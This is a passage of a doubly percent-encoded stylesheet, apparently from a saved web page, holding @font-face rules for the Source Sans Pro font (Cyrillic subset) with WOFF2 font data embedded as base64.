%36%61%25%36%35%25%35%37%25%33%36%25%36%65%25%35%39%25%36%65%25%37%35%25%36%33%25%33%34%25%36%35%25%33%31%25%37%30%25%36%62%25%36%36%25%34%39%25%37%33%25%36%66%25%35%33%25%35%36%25%35%61%25%36%63%25%34%66%25%36%31%25%34%63%25%34%33%25%36%62%25%37%39%25%37%34%25%34%36%25%36%39%25%35%30%25%35%37%25%37%30%25%37%33%25%35%35%25%36%34%25%36%64%25%37%35%25%35%30%25%32%62%25%35%39%25%37%38%25%36%63%25%32%62%25%34%37%25%33%32%25%36%32%25%34%63%25%34%62%25%37%34%25%35%37%25%37%61%25%37%39%25%34%66%25%37%61%25%34%32%25%34%39%25%35%38%25%36%39%25%35%39%25%32%62%25%33%37%25%35%38%25%33%30%25%33%39%25%36%36%25%34%36%25%35%39%25%33%35%25%36%37%25%37%36%25%34%38%25%37%35%25%36%61%25%36%62%25%32%62%25%33%33%25%36%33%25%37%32%25%35%37%25%34%31%25%36%32%25%34%33%25%36%35%25%36%66%25%36%34%25%33%37%25%37%31%25%34%37%25%37%39%25%37%61%25%33%32%25%33%37%25%35%32%25%36%63%25%33%34%25%36%35%25%33%37%25%35%39%25%34%66%25%37%30%25%35%31%25%36%32%25%36%33%25%33%30%25%34%38%25%33%33%25%36%63%25%37%34%25%36%65%25%35%32%25%36%31%25%36%39%25%36%62%25%35%30%25%35%36%25%34%39%25%33%35%25%34%32%25%34%34%25%34%65%25%33%35%25%35%31%25%36%65%25%37%37%25%36%37%25%36%64%25%37%30%25%33%31%25%35%38%25%37%61%25%35%33%25%35%34%25%34%66%25%33%35%25%34%33%25%33%33%25%35%37%25%36%61%25%35%30%25%36%63%25%37%32%25%35%37%25%36%64%25%37%61%25%34%39%25%34%36%25%37%33%25%36%32%25%33%36%25%36%61%25%34%31%25%37%61%25%36%63%25%36%37%25%34%31%25%33%31%25%36%39%25%37%33%25%36%39%25%36%63%25%35%36%25%36%32%25%34%35%25%35%32%25%33%36%25%35%31%25%33%37%25%33%34%25%34%62%25%35%30%25%36%64%25%34%39%25%37%61%25%32%62%25%36%66%25%35%33%25%33%33%25%37%31%25%34%37%25%37%33%25%36%63%25%34%35%25%35%35%25%36%65%25%35%35%25%35%39%25%34%33%25%34%37%25%35%34%25%34%34%25%36%63%25%34%37%25%34%63%25%37%31%25%32%62%25%33%35%25%35%35%25%33%39%25%37%61%25%34%38%25%34%32%25%34%38%25%37%30%25%36%39%25%37%33%25%33%39%25%34%31%25%37%33%25%36%36%25%36%39%25%35%31%25%36%62%25%35%39%25%35%61%25%36%34%25%35%39%25%37%38%25%35%38%25%36%38%25%34%34%25%34%64%25%37%35%25%37%39%25%33%35%25%37%34%25%35%32%25%34%36%25%35%31%25%35%61%25%34%62%25%33%37%25%32%62%25%35%38%25%34%64%25%34%38%25%36%65%25%34%63%25%36%66%25%37%37%25%34%36%25%34%61%25%33%34%25%36%66%25%36%33%25%36%64%25%33%33%25%34%65%25%36%32%25%33%39%25%34%39%25%34%66%25%35%37%25%35%34%25%35%32%25%36%37%25%37%38%25%35%36%25%32%62%25%36%38%25%35%30%25%34%37%25%33%34%25%34%37%25%36%33%25%35%39%25%33%31%25%34%64%25%36%31%25%36%62%25%34%62%25%37%61%25%37%33%25%36%37%25%35%33%25%34%37%25%35%30%25%35%32%25%33%32%25%35%61%25%36%36%25%32%66%25%33%30%25%37%61%25%35%39%25%37%33%25%37%35%25%37%37%25%35%37%25%35%38%25%36%63%25%35%34%25%35%38%25%36%37%25%34%33%25%36%35%25%37%33%25%35%33%25%37%30%25%35%33%25%35%37%25%34%62%25%33%37%25%34%63%25%37%38%25%33%32%25%34%36%25%36%39%25%35%34%25%37%61%25%35%36%25%34%66%25%36%65%25%34%33%25%37%30%25%35%38%25%36%63%25%37%38%25%37%30%25%35%39%25%36%34%25%34%66%25%34%61%25%34%31%25%36%35%25%36%34%25%33%38%25%33%38%25%34%33%25%37%38%25%32%62%25%35%33%25%33%35%25%35%38%25%35%32%25%36%37%25%37%31%25%35%34%25%34%32%25%36%66%25%35%39%25%36%31%25%36%66%25%36%64%25%33%38%25%37%39%25%34%63%25%34%35%25%33%30%25%34%36%25%33%30%25%33%37%25%37%34%25%36%66%25%34%64%25%36%34%25%36%64%25%36%34%25%33%36%25%37%32%25%36%35%25%33%38%25%37%39%25%34%37%25%34%31%25%35%37%25%35%34%25%35%33%25%34%36%25%35%61%25%34%65%25%37%38%25%35%61%25%36%36%25%33%33%25%36%32%25%35%32%25%34%36%25%35%35%25%35%32%25%33%34%25%37%32%25%36%34%25%37%30%25%34%34%25%34%37%25%35%38%25%33%34%25%36%32%25%35%33%25%32%66%25%37%32%25%33%34%25%36%63%25%36%61%25%35%37%25%33%34%25%33%35%25%36%36%25%36%34%25%35%34%25%35%34%25%37%31%25%37%31%25%35%36%25%36%63%25%35%61%25%34%62%25%35%32%25%36%65%25%36%66%25%36%35%25%35%35%25%35%31%25%37%39%25%37%61%25%36%65%25%35%38%25%33%38%25%35%38%25%34%61%25%35%31%25%37%34%25%33%33%25%34%32%25%37%38%25%35%33%25%35%61%25%37%61%25%37%32%25%35%39%25%36%61%25%35%31%25%35%34%25%33%31%25%37%34%25%33%34%25%34%37%25%32%66%25%35%31%25%36%37%25%35%37%25%37%34%25%33%39%25%33%33%25%34%65%25%35%33%25%34%31%25%36%37%25%34%36%25%37%32%25%32%62%25%37%34%25%33%37%25%34%62%25%36%33%25%37%33%25%35%33%25%34%32%25%36%32%25%35%35%25%35%37%25%37%35%25%34%38%25%37%32%25%35%34%25%33%36%25%36%65%25%33%38%25%33%38%25%37%37%25%33%32%25%35%31%25%34%61%25%37%34%25%34%39%25%34%35%25%37%39%25%36%65%25%36%38%25%35%31%25%37%30%25%33%30%25%34%64%25%36%34%25%33%31%25%33%37%25%35%37%25%34%65%25%35%37%25%35%36%25%37%31%25%33%35%25%35%38%25%33%39%25%33%30%25%36%39%25%34%34%25%37%34%25%35%39%25%33%30%25%36%39%25%36%35%25%32%66%25%35%61%25%33%38%25%33%35%25%36%61%25%35%37%25%33%31%25%34%61%25%36%35%25%34%36%25%35%33%25%35%61%25%35%39%25%37%37%25%35%32%25%36%33%25%37%35%25%36%61%25%33%37%25%33%33%25%33%39%25%36%66%25%36%31%25%37%31%25%34%38%25%33%38%25%32%66%25%35%34%25%33%39%25%36%37%25%37%39%25%35%32%25%35%39%25%34%64%25%36%61%25%34%37%25%35%61%25%34%65%25%36%33%25%36%39%25%37%34%25%37%38%25%36%62%25%36%39%25%34%34%25%34%37%25%33%39%25%34%66%25%36%34%25%37%31%25%36%64%25%35%30%25%36%33%25%37%39%25%34%65%25%36%37%25%37%35%25%36%32%25%36%62%25%34%66%25%36%33%25%35%36%25%35%33%25%35%37%25%34%61%25%37%36%25%37%34%25%33%39%25%36%63%25%34%34%25%34%36%25%34%32%25%37%32%25%35%61%25%33%33%25%36%38%25%37%32%25%34%63%25%33%38%25%36%36%25%36%64%25%34%38%25%34%65%25%33%35%25%37%35%25%33%39%25%36%31%25%36%66%25%33%32%25%36%39%25%36%64%25%33%34%25%33%30%25%33%31%25%33%36%25%35%37%25%33%37%25%34%37%25%33%38%25%34%66%25%36%66%25%33%32%25%36%66%25%32%62%25%34%66%25%37%30%25%37%33%25%34%31%25%32%62%25%36%36%25%36%64%25%34%31%25%35%37%25%33%34%25%36%37%25%36%32%25%36%66%25%34%38%25%34%37%25%34%33%25%32%66%25%37%30%25%35%30%25%37%33%25%33%36%25%36%34%25%34%34%25%37%34%25%36%35%25%34%61%25%37%36%25%34%61%25%37%32%25%36%37%25%37%33%25%37%61%25%35%32%25%33%33%25%33%31%25%36%65%25%35%30%25%35%31%25%35%38%25%37%35%25%34%34%25%33%31%25%36%35%25%37%39%25%35%37%25%33%31%25%36%39%25%36%61%25%34%62%25%36%66%25%34%36%25%34%39%25%34%31%25%36%36%25%35%31%25%33%30%25%34%33%25%36%37%25%34%32%25%34%31%25%37%36%25%34%61%25%37%34%25%34%65%25%33%31%25%34%34%25%34%62%25%37%36%25%34%62%25%33%32%25%37%38%25%36%38%25%36%61%25%35%39%25%35%34%25%35%36%25%37%61%25%33%36%25%36%61%25%34%35%25%34%39%25%34%36%25%33%37%25%32%66%25%35%61%25%34%35%25%36%31%25%36%37%25%36%35%25%37%39%25%37%33%25%36%32%25%36%38%25%33%33%25%37%30%25%36%35%25%35%37%25%33%37%25%34%36%25%37%34%25%36%65%25%37%39%25%35%34%25%35%35%25%32%66%25%36%38%25%33%33%25%37%37%25%34%64%25%34%64%25%37%61%25%33%38%25%36%38%25%37%33%25%36%66%25%36%65%25%37%36%25%37%37%25%36%64%25%37%61%25%32%66%25%33%32%25%36%36%25%32%62%25%37%36%25%32%62%25%36%61%25%33%37%25%37%35%25%35%30%25%37%39%25%34%37%25%37%35%25%36%61%25%34%32%25%34%31%25%34%31%25%34%38%25%36%63%25%32%62%25%35%38%25%32%62%25%34%31%25%33%37%25%36%64%25%37%34%25%36%62%25%36%39%25%37%31%25%35%35%25%35%31%25%33%39%25%35%61%25%33%37%25%34%64%25%36%34%25%35%36%25%35%30%25%36%35%25%36%31%25%36%33%25%33%35%25%37%32%25%36%62%25%34%33%25%34%65%25%33%34%25%34%34%25%37%30%25%37%30%25%35%30%25%34%31%25%32%66%25%35%30%25%36%38%25%37%33%25%37%30%25%37%33%25%32%66%25%36%66%25%36%39%25%33%34%25%32%62%25%37%31%25%36%37%25%33%37%25%33%39%25%33%32%25%36%36%25%34%35%25%36%32%25%37%35%25%34%65%25%37%61%25%34%63%25%34%37%25%32%62%25%36%35%25%36%37%25%37%38%25%36%61%25%34%65%25%34%38%25%35%61%25%35%38%25%37%38%25%34%39%25%34%63%25%35%31%25%33%33%25%36%62%25%37%36%25%34%35%25%32%62%25%37%31%25%32%62%25%34%62%25%35%34%25%36%39%25%34%65%25%33%39%25%34%34%25%33%35%25%36%65%25%35%35%25%36%66%25%36%38%25%34%62%25%36%35%25%33%39%25%33%35%25%35%39%25%33%31%25%36%33%25%34%37%25%34%64%25%36%32%25%36%33%25%36%62%25%35%35%25%34%39%25%36%34%25%34%61%25%34%38%25%33%32%25%35%31%25%35%30%25%36%33%25%37%33%25%37%33%25%34%39%25%37%33%25%33%33%25%36%64%25%35%61%25%37%33%25%37%33%25%37%39%25%36%31%25%37%61%25%33%37%25%36%36%25%33%30%25%36%37%25%37%61%25%36%31%25%36%32%25%37%34%25%36%61%25%36%66%25%34%37%25%34%62%25%33%32%25%36%32%25%36%62%25%36%39%25%36%66%25%33%36%25%36%33%25%33%39%25%37%31%25%34%32%25%37%37%25%37%39%25%37%30%25%36%36%25%34%62%25%34%62%25%36%39%25%36%62%25%33%37%25%36%38%25%35%36%25%36%34%25%35%39%25%37%32%25%33%31%25%33%37%25%34%35%25%34%39%25%34%32%25%33%37%25%37%34%25%35%37%25%35%36%25%37%32%25%35%37%25%34%37%25%33%38%25%33%39%25%35%37%25%34%64%25%35%38%25%32%66%25%37%33%25%33%34%25%33%39%25%35%30%25%34%35%25%34%34%25%35%34%25%36%65%25%33%35%25%34%34%25%36%39%25%33%31%25%36%35%25%35%35%25%33%35%25%36%37%25%35%32%25%36%38%25%36%64%25%33%39%25%33%31%25%37%30%25%34%35%25%37%61%25%33%34%25%36%65%25%37%36%25%33%38%25%36%35%25%33%38%25%35%31%25%35%35%25%33%39%25%35%61%25%36%31%25%35%32%25%36%61%25%34%62%25%35%31%25%37%38%25%37%39%25%35%36%25%34%65%25%35%32%25%36%62%25%34%38%25%34%64%25%34%66%25%34%65%25%36%63%25%34%62%25%33%32%25%35%30%25%36%64%25%33%34%25%37%32%25%37%33%25%33%31%25%35%37%25%32%66%25%36%62%25%33%37%25%33%30%25%36%39%25%34%34%25%34%66%25%37%34%25%33%35%25%33%31%25%33%36%25%33%33%25%35%39%25%36%34%25%33%32%25%36%36%25%34%38%25%34%64%25%35%35%25%37%37%25%35%32%25%33%32%25%37%35%25%36%38%25%37%35%25%37%31%25%37%39%25%33%30%25%35%31%25%34%35%25%33%36%25%34%39%25%35%36%25%34%35%25%33%35%25%33%33%25%34%35%25%34%35%25%37%35%25%36%64%25%33%30%25%35%32%25%33%39%25%33%32%25%36%65%25%36%33%25%36%37%25%35%30%25%36%33%25%37%37%25%34%63%25%36%39%25%36%33%25%33%35%25%35%30%25%36%63%25%37%36%25%34%66%25%33%36%25%35%30%25%33%35%25%36%36%25%37%61%25%37%32%25%35%37%25%34%37%25%37%35%25%36%63%25%37%38%25%35%31%25%34%37%25%35%39%25%35%30%25%34%63%25%35%32%25%36%34%25%36%64%25%33%34%25%37%36%25%36%63%25%37%38%25%35%33%25%34%36%25%37%32%25%32%62%25%33%38%25%35%36%25%34%36%25%33%31%25%36%34%25%35%32%25%36%65%25%35%31%25%33%34%25%36%34%25%37%35%25%34%62%25%36%31%25%34%64%25%33%37%25%37%35%25%33%32%25%33%37%25%36%33%25%36%39%25%37%39%25%33%32%25%34%62%25%37%32%25%35%36%25%35%33%25%34%33%25%33%36%25%35%61%25%33%36%25%37%34%25%37%31%25%33%36%25%34%63%25%37%33%25%33%32%25%36%63%25%37%61%25%35%39%25%35%61%25%36%61%25%36%31%25%37%61%25%35%61%25%35%61%25%34%61%25%36%63%25%37%38%25%37%61%25%34%63%25%36%37%25%37%34%25%33%39%25%33%32%25%34%39%25%33%39%25%37%35%25%33%36%25%35%38%25%34%65%25%36%62%25%33%33%25%36%32%25%34%35%25%37%61%25%34%61%25%33%38%25%35%36%25%36%62%25%34%61%25%34%38%25%37%31%25%36%61%25%36%64%25%34%32%25%34%39%25%36%32%25%36%65%25%36%35%25%33%30%25%36%34%25%34%62%25%35%36%25%35%36%25%34%62%25%35%38%25%34%63%25%36%64%25%37%38%25%35%35%25%36%37%25%35%61%25%37%31%25%34%62%25%36%37%25%34%38%25%34%36%25%35%31%25%33%31%25%35%36%25%34%62%25%36%61%25%35%36%25%36%35%25%32%66%25%35%39%25%36%63%25%36%36%25%35%37%25%36%61%25%36%38%25%33%36%25%36%65%25%33%39%25%34%63%25%36%65%25%34%66%25%36%65%25%33%37%25%36%62%25%34%64%25%33%31%25%36%34%25%33%30%25%34%63%25%33%35%25%37%33%25%36%38%25%33%33%25%35%39%25%35%36%25%36%61%25%34%37%25%35%39%25%35%38%25%36%39%25%34%36%25%34%65%25%35%38%25%34%62%25%36%32%25%33%30%25%34%61%25%36%34%25%36%66%25%37%34%25%37%32%25%33%35%25%33%39%25%34%61%25%34%62%25%36%66%25%35%33%25%36%65%25%36%36%25%35%33%25%37%33%25%34%64%25%33%36%25%37%36%25%33%38%25%35%38%25%34%39%25%33%39%25%34%37%25%33%35%25%36%38%25%36%39%25%37%35%25%37%34%25%33%37%25%36%65%25%36%36%25%33%34%25%36%62%25%34%34%25%34%37%25%34%37%25%35%36%25%37%35%25%36%63%25%36%31%25%37%32%25%35%39%25%36%31%25%36%31%25%35%37%25%33%30%25%33%36%25%37%34%25%35%32%25%37%35%25%35%32%25%34%32%25%37%31%25%35%37%25%34%63%25%35%38%25%33%38%25%36%31%25%36%66%25%35%33%25%34%39%25%34%66%25%37%38%25%34%38%25%34%64%25%37%33%25%36%31%25%37%61%25%35%38%25%35%33%25%36%66%25%32%62%25%34%65%25%37%38%25%37%35%25%36%65%25%34%65%25%34%37%25%35%37%25%34%33%25%37%61%25%33%32%25%34%62%25%34%36%25%34%62%25%34%64%25%37%31%25%34%33%25%36%32%25%33%32%25%35%34%25%36%34%25%34%63%25%35%39%25%36%66%25%36%61%25%36%32%25%33%35%25%36%33%25%35%32%25%35%35%25%33%32%25%36%38%25%35%35%25%37%30%25%34%66%25%34%37%25%37%35%25%37%36%25%37%35%25%36%38%25%36%61%25%34%38%25%33%32%25%36%32%25%35%35%25%37%32%25%33%30%25%35%36%25%34%36%25%36%37%25%32%66%25%37%33%25%35%37%25%37%33%25%35%30%25%36%66%25%36%35%25%36%61%25%36%64%25%35%31%25%34%37%25%37%34%25%35%33%25%37%31%25%35%35%25%33%36%25%33%30%25%36%38%25%35%35%25%36%63%25%33%39%25%36%32%25%35%34%25%34%65%25%34%61%25%33%38%25%35%38%25%36%35%25%32%66%25%33%36%25%34%66%25%37%35%25%37%35%25%35%61%25%35%33%25%37%36%25%36%36%25%37%38%25%36%37%25%36%33%25%37%32%25%37%34%25%32%66%25%34%31%25%35%30%25%36%34%25%35%36%25%36%64%25%35%36%25%34%35%25%37%34%25%33%30%25%34%35%25%34%64%25%36%66%25%34%66%25%33%35%25%36%61%25%36%64%25%32%66%25%37%61%25%36%34%25%33%37%25%36%37%25%35%32%25%34%36%25%36%37%25%35%35%25%34%39%25%36%63%25%36%62%25%36%64%25%37%37%25%37%34%25%34%66%25%37%36%25%35%35%25%36%31%25%34%64%25%34%37%25%34%63%25%36%33%25%36%66%25%36%65%25%37%33%25%36%66%25%34%38%25%36%61%25%32%66%25%35%39%25%34%64%25%37%33%25%36%39%25%37%38%25%35%32%25%34%35%25%34%62%25%34%32%25%34%36%25%35%35%25%37%31%25%37%33%25%35%35%25%36%31%25%34%38%25%34%37%25%34%32%25%36%37%25%33%31%25%36%31%25%36%34%25%34%38%25%33%33%25%33%36%25%37%30%25%36%64%25%34%62%25%37%37%25%37%35%25%34%34%25%35%32%25%33%38%25%36%35%25%36%37%25%35%39%25%36%38%25%34%64%25%33%36%25%37%33%25%36%36%25%36%62%25%35%35%25%35%33%25%36%64%25%35%35%25%34%37%25%36%65%25%33%30%25%33%37%25%34%32%25%37%38%25%34%37%25%34%63%25%37%30%25%35%30%25%34%36%25%33%35%25%36%65%25%34%32%25%33%35%25%36%36%25%34%39%25%34%36%25%35%31%25%34%61%25%34%61%25%35%61%25%34%39%25%35%61%25%35%38%25%34%62%25%34%36%25%35%35%25%37%31%25%35%38%25%35%37%25%36%31%25%34%38%25%35%36%25%33%36%25%36%37%25%37%33%25%36%38%25%34%31%25%35%32%25%36%66%25%34%61%25%36%34%25%34%39%25%33%34%25%33%39%25%33%32%25%34%62%25%33%38%25%34%39%25%35%38%25%37%39%25%34%64%25%33%33%25%37%34%25%35%39%25%37%31%25%34%36%25%34%35%25%36%33%25%35%61%25%36%63%25%34%64%25%37%33%25%36%62%25%35%31%25%37%33%25%36%62%25%34%36%25%37%30%25%37%39%25%34%35%25%36%66%25%37%30%25%34%39%25%34%62%25%36%63%25%37%37%25%36%37%25%37%33%25%33%38%25%35%32%25%35%36%25%34%33%25%36%39%25%34%36%25%34%39%25%35%31%25%35%37%25%33%35%25%34%32%25%35%36%25%35%32%25%34%31%25%36%36%25%36%38%25%34%31%25%34%32%25%35%61%25%37%30%25%36%39%25%37%31%25%34%34%25%34%35%25%34%62%25%35%31%25%35%37%25%35%36%25%34%37%25%35%38%25%36%62%25%35%37%25%33%34%25%34%39%25%37%31%25%36%64%25%34%31%25%33%39%25%36%39%25%36%62%25%34%36%25%37%32%25%37%39%25%34%62%25%37%30%25%34%64%25%35%31%25%37%30%25%34%33%25%34%33%25%33%33%25%35%34%25%34%37%25%35%31%25%35%37%25%35%36%25%36%66%25%36%64%25%36%62%25%36%66%25%35%34%25%37%37%25%36%35%25%36%39%25%34%36%25%34%39%25%37%30%25%36%63%25%34%33%25%35%31%25%35%31%25%36%37%25%35%31%25%37%37%25%35%35%25%35%39%25%34%31%25%34%31%25%34%32%25%36%39%25%34%64%25%34%31%25%34%31%25%35%61%25%36%38%25%34%33%25%34%32%25%34%34%25%34%31%25%37%37%25%36%37%25%34%32%25%34%34%25%34%64%25%34%39%25%35%31%25%34%31%25%34%39%25%37%39%25%35%35%25%34%39%25%34%31%25%34%39%25%35%61%25%34%62%25%34%31%25%34%31%25%36%33%25%33%30%25%34%63%25%35%35%25%34%61%25%36%35%25%35%31%25%36%32%25%32%62%25%37%30%25%34%64%25%35%32%25%33%31%25%35%32%25%34%34%25%34%64%25%35%37%25%33%37%25%36%39%25%35%36%25%33%35%25%36%32%25%35%35%25%37%30%25%34%36%25%34%61%25%35%30%25%36%64%25%37%35%25%36%38%25%36%36%25%33%33%25%33%33%25%36%62%25%36%66%25%34%62%25%33%35%25%36%31%25%37%33%25%36%62%25%33%35%25%34%36%25%35%61%25%35%33%25%36%31%25%35%30%25%36%38%25%34%62%25%34%37%25%34%39%25%33%34%25%35%39%25%35%31%25%35%34%25%36%62%25%36%66%25%36%39%25%33%32%25%36%36%25%34%36%25%33%34%25%36%33%25%33%33%25%37%38%25%33%35%25%33%35%25%33%31%25%35%33%25%34%61%25%36%38%25%36%64%25%34%34%25%37%31%25%37%36%25%37%39%25%34%31%25%33%30%25%34%35%25%37%32%25%36%33%25%34%38%25%36%32%25%35%37%25%37%35%25%35%37%25%37%34%25%35%38%25%35%61%25%34%66%25%34%65%25%35%32%25%37%34%25%36%38%25%37%32%25%35%36%25%34%37%25%34%65%25%36%64%25%33%32%25%33%34%25%34%36%25%33%34%25%37%31%25%35%36%25%36%62%25%33%31%25%36%37%25%35%32%25%35%30%25%34%39%25%33%33%25%36%32%25%37%37%25%37%38%25%34%38%25%34%36%25%34%62%25%37%35%25%34%62%25%35%30%25%33%30%25%34%63%25%34%66%25%33%33%25%36%65%25%35%32%25%34%37%25%33%36%25%34%33%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%33%64%25%33%64%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%30%25%33%34%25%33%36%25%33%30%25%32%64%25%33%30%25%33%35%25%33%32%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%31%25%34%33%25%33%38%25%33%30%25%32%64%25%33%31%25%34%33%25%33%38%25%33%38%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%34%32%25%33%34%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%34%34%25%34%35%25%33%30%25%32%64%25%33%32%25%34%34%25%34%36%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%34%31%25%33%36%25%33%34%25%33%30%25%32%64%25%34%31%25%33%36%25%33%39%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%34%36%25%34%35%25%33%32%25%34%35%25%32%64%25%34%36%25%34%35%25%33%32%25%34%36%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%36%33%25%37%39%25%37%32%25%36%39%25%36%63%25%36%63%25%36%39%25%36%33%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%34%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%33%33%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%37%31%25%35%30%25%34%62%25%33%37%25%36%63%25%37%31%25%34%34%25%35%39%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%35%38%25%35%35%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%39%25%34%61%25%34%31%25%34%31%25%34%31%25%34%33%25%35%36%25%33%31%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%66%25%34%35%25%36%31%25%34%37%25%33%35%25%33%34%25%34%39%25%34%38%25%34%39%25%34%39%25%33%34%25%34%32%25%36%64%25%34%31%25%34%31%25%36%37%25%36%37%25%37%37%25%34%39%25%34%62%25%36%37%25%36%64%25%34%33%25%36%33%25%37%38%25%34%35%25%34%39%25%34%33%25%37%36%25%33%39%25%35%31%25%33%38%25%34%35%25%36%66%25%34%63%25%36%37%25%36%38%25%37%37%25%34%31%25%34%31%25%35%34%25%35%39%25%34%33%25%34%61%25%34%31%25%34%66%25%34%35%25%34%61%25%36%37%25%35%31%25%36%37%25%34%32%25%35%39%25%35%35%25%37%39%25%34%32%25%33%34%25%36%63%25%36%63%25%34%34%25%34%36%25%35%39%25%36%32%25%37%37%25%35%36%25%35%39%25%35%38%25%33%32%25%34%34%25%35%39%25%37%34%25%34%37%25%36%38%25%36%38%25%33%30%25%34%32%25%37%39%25%36%39%25%37%38%25%36%35%25%37%30%25%36%33%25%36%62%25%36%61%25%34%35%25%35%34%25%35%39%25%36%39%25%36%33%25%36%64%25%37%30%25%35%37%25%37%38%25%35%34%25%34%32%25%37%38%25%36%66%25%34%37%25%34%31%25%37%38%25%34%38%25%33%35%25%35%39%25%33%38%25%37%36%25%32%66%25%32%66%25%34%37%25%36%33%25%36%64%25%34%61%25%34%34%25%34%39%25%35%36%25%35%35%25%34%39%25%35%35%25%36%62%25%33%37%25%37%32%25%35%61%25%33%38%25%33%37%25%37%38%25%34%39%25%34%62%25%34%36%25%34%63%25%34%39%25%36%38%25%34%64%25%34%38%25%36%31%25%36%39%25%36%61%25%33%36%25%35%39%25%34%35%25%33%31%25%32%66%25%34%62%25%34%38%25%36%39%25%35%38%25%34%64%25%34%37%25%35%36%25%36%65%25%35%37%25%34%38%25%35%61%25%36%65%25%34%34%25%34%61%25%34%35%25%37%34%25%37%61%25%34%34%25%35%34%25%37%36%25%34%61%25%34%36%25%34%66%25%36%39%25%35%30%25%35%36%25%35%61%25%35%33%25%35%39%25%33%33%25%35%33%25%35%30%25%36%35%25%35%37%25%35%33%25%36%33%25%34%61%25%34%35%25%36%37%25%37%32%25%35%30%25%34%65%25%36%63%25%36%32%25%34%65%25%37%32%25%36%31%25%33%39%25%34%31%25%37%37%25%36%66%25%36%65%25%34%36%25%34%32%25%33%30%25%34%34%25%32%62%25%36%37%25%37%37%25%37%37%25%37%38%25%34%31%25%32%66%25%34%63%25%34%36%25%33%34%25%34%66%25%32%66%25%33%36%25%36%31%25%36%61%25%35%36%25%36%62%25%34%64%25%34%38%25%33%37%25%36%36%25%36%61%25%36%38%25%34%33%25%37%39%25%37%31%25%36%36%25%36%66%25%34%39%25%36%33%25%37%32%25%35%38%25%35%30%25%36%61%25%37%31%25%33%35%25%36%35%25%36%64%25%34%32%25%35%36%25%33%34%25%34%35%25%35%35%25%34%36%25%37%30%25%37%34%25%32%66%25%37%33%25%34%61%25%37%37%25%34%38%25%32%66%25%36%36%25%36%39%25%36%39%25%36%31%25%35%61%25%34%62%25%36%64%25%34%39%25%36%64%25%33%39%25%34%38%25%34%36%25%36%39%25%35%31%25%34%39%25%34%39%25%36%62%25%34%37%25%34%33%25%35%37%25%36%31%25%33%31%25%37%33%25%34%65%25%36%66%25%36%66%25%36%31%25%34%64%25%33%36%25%33%35%25%37%36%25%33%34%25%36%35%25%34%38%25%33%33%25%37%61%25%34%31%25%33%37%25